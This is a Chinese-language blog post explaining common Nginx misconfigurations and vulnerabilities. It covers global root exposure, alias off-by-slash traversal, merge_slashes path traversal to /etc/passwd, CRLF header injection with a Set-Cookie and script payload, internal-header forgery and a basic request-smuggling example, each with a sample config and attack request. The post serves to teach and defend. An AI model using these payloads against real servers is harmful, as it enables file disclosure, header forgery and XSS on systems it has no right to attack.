Turker
发布于 2025-06-22 / 10 阅读
0

Nginx安全——错误配置&常见漏洞

Nginx安全——错误配置&常见漏洞

全局root指令且缺失 / 路径

server {
        root /etc/nginx;

        location /hello.txt {
                try_files $uri $uri/ =404;
                proxy_pass http://127.0.0.1:8080/;
        }
}

server块中的 root定义了 /etc/nginx为nginx根目录,但是没有定义一个 /路径(location / {...})。这就意味着这个 root指令是全局生效的。例如请求 GET /nginx.conf就可以访问 /etc/nginx/nginx.conf文件,即这样的配置可以导致敏感文件读取。

alias/proxy_pass Off‑by‑slash

server {
    ...
    location /static {
        alias /app/static/;
    }

    location /api {
        proxy_pass http://backend/v1/;
    }
}

Nginx对于 ..的处理方式比较特殊,..在 URI 中不是字母或数字,不会被视为有效路径段的一部分,也即 /static..会被 location /static匹配到。接下来Nginx会直接把 /static替换为 /app/static/,这里就会产生一个LFI,因为访问 /static../flag.txt会被解析到 /app/static/../flag.txt

merge_slashes关闭

server {
    ...
    merge_slashes off;

    location / {
        proxy_pass http://app;
    }
}

Nginx不会允许超出根路径的路径穿越,也就是说 /deep/path/../../anything是OK的,而 /deep/path/../../../anything就会报400 Bad Request,其中判断层数的逻辑是 /数量。而 merge_slashes的功能是把多个连续的 /合并,它被关闭也就导致 GET ///////../../../etc/passwd不会被合并,并且让Nginx以为你在一个很深的目录下。

CRLF注入

在Nginx中,很多接收变量的地方会接受未经转移的回车换行符 /r/n。如果某个变量包含了这些原始字符,并被传递到一个存在漏洞的接收点,我们就可以在请求或响应中注入额外的HTTP头。
一个非常常见的包含 /r/n的变量为 $uri,其包含的是URL解码后的路径。即如果路径中有 %0d%0a,该变量就会包含一个 /r/n

location /backend {
    proxy_pass http://backend$uri;
}

访问

/backend%0d%0aHeader:%20Injected

则传递给后端的解码内容可能导致请求头注入
还有一种方式是通过正则表达式注入,例如这里的配置

location ~ /some/([^/]+)/path {
    add_header X-Response-Header $1;
    return 200 "OK";
}

访问:

GET /some/x%0d%0aHeader:%20Injected/path HTTP/1.1

则会响应:

HTTP/1.1 200 OK
Server: nginx/1.27.4
...
X-Response-Header: x
Header: Injected

OK

响应头注入

如果 add_headerreturnLocation头包含未过滤的 \r\n,攻击者可以注入任意响应头,甚至正文。

location / {
    return 301 https://$host$uri;
}

访问:

GET /redirect/%0a%0dSet-Cookie:%20a=1%0a%0dX-XSS-Protection:%200%0a%0d%0a%0d%0a<script>alert('xss')</script> HTTP/1.1

响应:

HTTP/1.1 301 Moved Permanently
...
Location: ...
Set-Cookie: a=1
X-XSS-Protection: 0 


<script>alert('xss')</script>

请求头注入

如果 proxy_set_headerproxy_pass的路径包含未过滤的 \r\n,攻击者可以注入任意请求头。

location / {
    proxy_set_header X-Original-URI $uri;
    proxy_set_header X-Internal-Header "";
    proxy_pass http://backend;
}

访问:

GET /%0d%0aX-Internal-Header:%20INJECTED HTTP/1.1

请求:

GET / HTTP/1.0
X-Original-URI: /
X-Internal-Header: INJECTED
Host: 127.0.0.1:1337

这就绕过了 X-Internal-Header的限制,伪造了内部头。

请求走私

前后端通讯时,由于不同的服务器对RFC标准实现的方式不同,就会导致请求走私
这里的内容有点多,先写点最简单的
例如我们发送:

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 43\r\n

GET / admin HTTP/1.1\r\n
Host: example.com\r\n
\r\n

而前端代理服务器允许GET携带请求体,后端服务器不允许GET携带请求体,后端服务器就会直接忽略掉GET请求中的 Content-Length头,也就是说后端看来:

//第一个请求
GET / HTTP/1.1\r\n
Host: example.com\r\n

//第二个请求
GET / admin HTTP/1.1\r\n
Host: example.com\r\n